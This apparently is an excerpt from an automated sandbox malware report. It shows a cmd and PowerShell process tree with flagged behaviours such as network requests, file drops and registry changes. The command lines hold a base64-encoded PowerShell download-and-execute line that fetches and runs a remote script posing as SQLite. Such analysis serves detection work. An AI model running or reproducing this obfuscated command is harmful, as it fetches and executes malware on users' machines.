C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3180
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3888
-
-